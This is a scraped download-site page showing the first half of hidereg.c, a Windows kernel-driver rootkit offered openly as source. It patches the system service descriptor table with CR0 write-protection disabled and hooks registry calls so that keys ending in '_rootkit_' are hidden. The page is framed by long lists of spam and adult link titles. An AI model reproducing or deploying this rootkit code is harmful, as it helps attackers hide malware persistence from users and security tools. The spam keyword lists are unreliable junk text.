亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? hidereg.c

?? 驅動類 rootkit HOOK注冊表讀取
?? C
?? 第 1 頁 / 共 2 頁
字號:
/*///////////////////////////////////
通過HOOK 與注冊表訪問相關的函數 ZwEnumerateKey ZwEnumerateValueKey
來隱藏注冊表的鍵和鍵值 設定為_rootkit_ 可以在283行 CheckByName()來修改
ineverland@163.com
/*///////////////////////////////////

#include "ntddk.h"

#include "zwfunc.h"
#include "stdio.h"
#include "stdlib.h"
#include <ctype.h>

static T_ZwCreateKey		Real_ZwCreateKey;
static T_ZwOpenKey		Real_ZwOpenKey;
static T_ZwEnumerateKey		Real_ZwEnumerateKey;
static T_ZwEnumerateValueKey	Real_ZwEnumerateValueKey;

#define MIN(x,y) ((x) < (y) ? (x) : (y))
#define MAXPATHLEN 1024

ULONG ServiceIdFromFn (PVOID pfnHandler);
PVOID HookSystemService (ULONG ulService, PVOID pfnNewHandler);
PVOID HookSystemServiceByFn (PVOID pfnHandler, PVOID pfnNewHandler);


#pragma pack(push, 1)
//未公開的數據結構
typedef struct {
	/*
	 * Table containing cServices elements of pointers to service handler
	 * functions, indexed by service ID.
	 */
	PVOID		*rgpfnHandlerTable;
	/*
	 * Table that counts how many times each service is used. This table
	 * is only updated in checked builds.
	 */
	PULONG		rgulCounterTable;
	/*
	 * Number of services contained in this table.
	 */
	ULONG		cServices;
	/*
	 * Table containing the number of bytes of parameters the handler
	 * function takes.
	 */
	PUCHAR		rguchParamTable;
} SSD, *PSSD;
#pragma pack(pop)


//內核導出 SSDT
__declspec(dllimport) SSD KeServiceDescriptorTable[4];


/*
 * Service ID numbers are stored as follows, from LSB to MSB:
 *	12 bit serveic (system call) number
 *	2 bitstem  syservice table number
 *	18 bits(r emrainde of ULONG) must be zero
 */
#define SSTForId(x) (((ULONG) x) >> 12)
#define IndexForId(x) (((ULONG) x) & 0xFFFUL)
#define ValidId(x) ((((ULONG) x) & ~0x3FFFUL) == 0UL)


/*
有函數名得到該函數在SSDT 里的索引
 */
ULONG ServiceIdFromFn (PVOID pfnHandler)
{
	PUCHAR	pbHandler;
	ULONG	ulService;

	pbHandler = (PUCHAR) pfnHandler;

	/* Check for MOV EAX, imm32 instruction */
	if (*pbHandler != 0xB8) {
		DbgPrint("ServiceIdFromFn(): Expected B8 got %02x",
			*pbHandler);
		return 0UL;
	}

	/* Get immediate destination operand of MOV instruction */
	ulService = *(PULONG) (pbHandler + 1);
	
	if (!ValidId (ulService)) {
		DbgPrint("ServiceIdFromFn(): Bogus service ID %08x",
			ulService);
		return 0UL;
	}

	return ulService;
}
////////////////////修改CRO寄存器來禁止內存讀寫保護限制
#define WPOFF() \
	_asm mov eax, cr0 \
	_asm and eax, NOT 10000H \
	_asm mov cr0, eax

#define WPON() \
	_asm mov eax, cr0 \
	_asm or eax, 10000H \
	_asm mov cr0, eax

/*
安裝鉤子的過程
 */
PVOID HookSystemService (ULONG ulService, PVOID pfnNewHandler)
{
	ULONG ulSST, ulIndex;
	PVOID *pfnHandler, pfnOldHandler;
	PSSD pDescriptor;

	if (!ValidId (ulService)) {
		DbgPrint ("HookSystemService(): Bogus service ID %08x",
			ulService);
		return NULL;
	}

	ulSST = SSTForId (ulService);
	ulIndex = IndexForId (ulService);

	/*
	 * Look up the service descriptor table entry and check that it
	 * contains the service index that is to be hooked.
	 */
	pDescriptor = &KeServiceDescriptorTable[ulSST];
	if (pDescriptor == NULL) {
		DbgPrint ("HookSystemService(): No descriptor for SST %x",
			ulSST);
		return NULL;
	}
	if (pDescriptor->cServices < ulIndex) {
		DbgPrint ("HookSystemService(): Index %03x exceeds service "
			"count of %03x for SST %x", ulIndex,
			pDescriptor->cServices, ulSST);
		return NULL;
	}

	pfnHandler = &pDescriptor->rgpfnHandlerTable[ulIndex];

	pfnOldHandler = *pfnHandler;
	/* 8000000-FFFFFFFF is the region of memory reserved for the OS */
	if (((ULONG)pfnOldHandler & 0x80000000UL) == 0) {
		DbgPrint ("HookSystemService(): Old handler %08x for SST %x "
			"index %03x is not in kernel region",
			(ULONG) pfnOldHandler, ulSST, ulIndex);
		/* return NULL */
	}

	DbgPrint ("HookSystemService(): Hooking SST %x Index %03x Old %08x",
		ulSST, ulIndex, (ULONG) pfnOldHandler);

	__try {
		WPOFF();
		pfnOldHandler = InterlockedExchangePointer (pfnHandler, pfnNewHandler);
		WPON();
	} __except (EXCEPTION_EXECUTE_HANDLER) {
		pfnOldHandler = pfnHandler;
		DbgPrint("HookSystemService(): Hook failed - can't write");
	}

	return pfnOldHandler;
}


//安裝HOOK的 過程
PVOID HookSystemServiceByFn (PVOID pfnHandler, PVOID pfnNewHandler)
{
	ULONG ulService;

	ulService = ServiceIdFromFn (pfnHandler);
	if (ulService == 0UL)
		return NULL;

	return HookSystemService (ulService, pfnNewHandler);
}

//////////////////////////////////////////////////////////////////


NTKERNELAPI NTSTATUS ObQueryNameString (
	IN PVOID                        Object,
	IN OUT PUNICODE_STRING		Name,
	/* ^ this should strictly be PBOJECT_NAME_INFORMATION */
	IN ULONG                        MaximumLength,
	OUT PULONG                      ActualLength
);

//由句柄獲得全名
BOOLEAN PathFromHandle (HANDLE hKey, PUNICODE_STRING lpszSubKeyVal, 
			PCHAR fullname)
{
	PVOID			pKey = NULL;
	ANSI_STRING		keyname;
	PCHAR			tmpname;
	PUNICODE_STRING		fullUniName;
	ULONG			actualLen;

	/* Allocate a temporary buffer */
	tmpname = ExAllocatePool (PagedPool, MAXPATHLEN);
	if (tmpname == NULL)
		/* Not enough memory */
		return FALSE;

	*fullname = *tmpname = '\0';


	
	if (NT_SUCCESS (ObReferenceObjectByHandle (hKey, 0, NULL, KernelMode, 
		&pKey, NULL)) && pKey != NULL) {

		fullUniName = ExAllocatePool (PagedPool, MAXPATHLEN * 2 + 
			2 * sizeof(ULONG));
		if (fullUniName == NULL) {
			
			ObDereferenceObject (pKey);
			ExFreePool (tmpname);
			return FALSE;
		}

		fullUniName->MaximumLength = MAXPATHLEN*2;
		if (NT_SUCCESS (ObQueryNameString (pKey, fullUniName, 
			MAXPATHLEN, &actualLen ))) {
			if (NT_SUCCESS (RtlUnicodeStringToAnsiString (
				&keyname, fullUniName, TRUE))) { 
				if(*keyname.Buffer != '\0') {
					if (*keyname.Buffer != '\\')
						strcpy (tmpname, "\\");
					else
						strcpy (tmpname, "");
					strncat (tmpname, keyname.Buffer, 
						MIN( keyname.Length, 
						MAXPATHLEN - 2 ));
				}
				RtlFreeAnsiString (&keyname);
			}
		}

		ObDereferenceObject (pKey);
		ExFreePool (fullUniName);
	}

	
	if (lpszSubKeyVal != NULL) {
		keyname.Buffer = NULL;
		if (NT_SUCCESS (RtlUnicodeStringToAnsiString (&keyname, 
			lpszSubKeyVal, TRUE))) {
			if (*keyname.Buffer != '\0') {
				strcat (tmpname, "\\");
				strncat (tmpname, keyname.Buffer,
					MIN(keyname.Length, MAXPATHLEN - 1 -
					strlen(tmpname)));
			}
			RtlFreeAnsiString (&keyname);
		}
	}

	strcpy (fullname, tmpname);
	ExFreePool (tmpname);

	return TRUE;
}





void RemoveRegistryHooks (void);

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
	RemoveRegistryHooks();
	DbgPrint("OnUnload Routine called\n");
}



int CheckKeyByName(PCHAR szKeyName)
{
    PCHAR temp=szKeyName+(strlen(szKeyName)-9);
	if(!strncmp(temp,"_rootkit_",9))
		return 1;
     else
		 return 0;	
}


VOID AdjustKeyName (PCHAR szKeyName);
ULONG ServiceIdFromFn (PVOID pfnHandler);
PVOID HookSystemService (ULONG ulService, PVOID pfnNewHandler);
PVOID HookSystemServiceByFn (PVOID pfnHandler, PVOID pfnNewHandler);

/*
 * Hook of ZwCreateKey(); 
 */
NTSTATUS Hook_ZwCreateKey (
	OUT PHANDLE KeyHandle,
	IN ACCESS_MASK DesiredAccess,
	IN POBJECT_ATTRIBUTES ObjectAttributes,
	IN ULONG TitleIndex,
	IN PUNICODE_STRING Class OPTIONAL,
	IN ULONG CreateOptions,
	OUT PULONG Disposition OPTIONAL
)
{
	NTSTATUS rc;
	PCHAR szFullName;

	/* Find the full name of the key and check access on it */
	szFullName = ExAllocatePool (PagedPool, MAXPATHLEN);
	if (szFullName != NULL) {
		if (PathFromHandle (ObjectAttributes->RootDirectory, 
			ObjectAttributes->ObjectName, szFullName)) {
			AdjustKeyName (szFullName);
			if (CheckKeyByName (szFullName)) {
				ExFreePool (szFullName);
				return STATUS_NO_SUCH_FILE;
			}
		}
		ExFreePool (szFullName);
	}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
午夜精品久久久久| 国产乱人伦偷精品视频不卡| 精品亚洲国内自在自线福利| aaa欧美日韩| 日韩一级片在线观看| 亚洲欧美日韩中文播放 | 91精品国产入口| 中文字幕精品一区二区三区精品| 蜜臀久久99精品久久久久宅男| 99re在线精品| 欧美国产在线观看| 精品亚洲成av人在线观看| 在线播放一区二区三区| 亚洲精品国产一区二区精华液 | 日韩三级高清在线| 欧美成人女星排行榜| 亚洲精品视频免费观看| 国产美女视频91| 91精品在线免费| 亚洲自拍偷拍av| 91色在线porny| 国产精品无遮挡| 国产白丝网站精品污在线入口| 欧美一级精品大片| 午夜精品久久久久久不卡8050| 在线免费不卡视频| 亚洲精品国产一区二区三区四区在线| 成人一区二区在线观看| 久久久久国产精品人| 国产很黄免费观看久久| 精品国产欧美一区二区| 美女网站在线免费欧美精品| 91精品国产91久久久久久最新毛片 | 成人性色生活片免费看爆迷你毛片| 精品三级在线观看| 精品中文av资源站在线观看| 日韩欧美国产精品| 国产精品自在在线| 国产日韩三级在线| 成人在线视频一区二区| 亚洲伦理在线精品| 欧美午夜精品电影| 日韩电影在线一区二区| 精品国产欧美一区二区| 国产高清精品网站| 亚洲日本青草视频在线怡红院| 日本精品一区二区三区四区的功能| 亚洲精品乱码久久久久久| 欧美特级限制片免费在线观看| 日韩福利电影在线观看| 久久色视频免费观看| eeuss鲁片一区二区三区在线观看| 日韩伦理av电影| 欧美放荡的少妇| 国产一区不卡精品| 亚洲同性同志一二三专区| 欧美人妇做爰xxxⅹ性高电影| 伦理电影国产精品| 国产精品美女一区二区| 欧美巨大另类极品videosbest| 国产乱码精品一区二区三区av | 在线一区二区三区四区| 免费看日韩a级影片| 国产欧美日韩亚州综合| 在线亚洲一区二区| 久久电影国产免费久久电影| 欧美激情一区二区三区不卡| 欧美日韩一级二级| 国产suv精品一区二区883| 亚洲午夜精品一区二区三区他趣| 精品久久久久久综合日本欧美| 色综合久久久久综合体桃花网| 日韩成人伦理电影在线观看| 欧美高清在线视频| 日韩午夜中文字幕| 色国产综合视频| 国产一区免费电影| 亚洲在线一区二区三区| 久久久影视传媒| 欧美美女黄视频| 99精品视频在线免费观看| 麻豆91小视频| 亚洲国产精品自拍| 亚洲欧洲日韩综合一区二区| 日韩视频国产视频| 欧美性受xxxx黑人xyx性爽| 国产精品18久久久久久久久| 亚洲午夜精品17c| 中文字幕亚洲区| 久久综合一区二区| 正在播放亚洲一区| 在线日韩av片| 91免费看视频| 国产成a人亚洲| 久久97超碰色| 视频一区二区三区中文字幕| 亚洲色图制服诱惑| 国产精品超碰97尤物18| 久久精品夜色噜噜亚洲a∨| 欧美一卡二卡三卡| 欧美日韩高清影院| 欧美日韩欧美一区二区| 色狠狠色狠狠综合| 日本精品一区二区三区四区的功能| 成人高清免费观看| 国产成人精品aa毛片| 国产精品一区二区果冻传媒| 狠狠v欧美v日韩v亚洲ⅴ| 毛片基地黄久久久久久天堂| 秋霞影院一区二区| 精品在线亚洲视频| 久久99国内精品| 国产精品66部| 成人黄页毛片网站| 成人激情开心网| 92国产精品观看| 91麻豆国产自产在线观看| 色婷婷综合久久久中文字幕| 一本大道久久a久久精二百| 91免费看`日韩一区二区| 99久久综合色| 91成人在线免费观看| 欧美片在线播放| 精品日韩一区二区| 欧美激情在线一区二区| 中文字幕一区二区三区不卡在线 | 中文字幕亚洲精品在线观看| 国产亚洲精品7777| 亚洲欧美日韩国产一区二区三区 | 国产成人久久精品77777最新版本| 国产成人午夜99999| 91蜜桃视频在线| 欧美日韩一区二区在线视频| 日韩一区二区三免费高清| 精品国精品国产| 国产精品久久久久久久蜜臀| 一区二区三区视频在线观看| 日韩专区一卡二卡| 国产一区二区三区免费播放| 国产成a人亚洲| 欧美日韩一级视频| wwww国产精品欧美| 一区二区三区**美女毛片| 蜜臀va亚洲va欧美va天堂| 国产成人免费视频网站| 欧美亚洲愉拍一区二区| 日韩欧美一区二区在线视频| 天堂va蜜桃一区二区三区| 亚洲欧美日韩国产综合| 首页国产欧美久久| 久久99国产精品免费网站| 成人精品小蝌蚪| 91精品国产综合久久精品麻豆| 久久这里只有精品6| 亚洲自拍偷拍麻豆| 国产成人免费9x9x人网站视频| 在线观看亚洲一区| 国产日韩亚洲欧美综合| 日韩成人伦理电影在线观看| 成人av在线电影| 欧美成人精品二区三区99精品| 在线观看91精品国产入口| 日韩一区二区精品葵司在线| 国产精品入口麻豆原神| 日韩电影一二三区| 成人av网站免费观看| 日韩视频一区二区三区在线播放 | 亚洲精品写真福利| 国产一区二区在线电影| 欧美亚男人的天堂| 国产精品久久久久四虎| 六月丁香婷婷久久| 欧美顶级少妇做爰| 日韩美女精品在线| 国产成人av电影在线播放| 日韩一区二区三区观看| 亚洲五月六月丁香激情| 99久久伊人网影院| 国产欧美一区二区精品仙草咪| 免费久久99精品国产| 欧美日韩一区二区三区视频| 综合分类小说区另类春色亚洲小说欧美 | 久久综合五月天婷婷伊人| 亚洲一区免费观看| 久久久久久久久蜜桃| 亚洲福中文字幕伊人影院| 99久久久精品| 国产精品第一页第二页第三页| 国产一区二区免费在线| 欧美不卡一二三| 青青草成人在线观看| 91精品国产麻豆国产自产在线| 亚洲成人福利片| 欧美日韩国产欧美日美国产精品| 亚洲欧美日韩人成在线播放| 99久久夜色精品国产网站| 国产精品久久国产精麻豆99网站| 顶级嫩模精品视频在线看| 久久精品亚洲乱码伦伦中文| 国产精品影视天天线|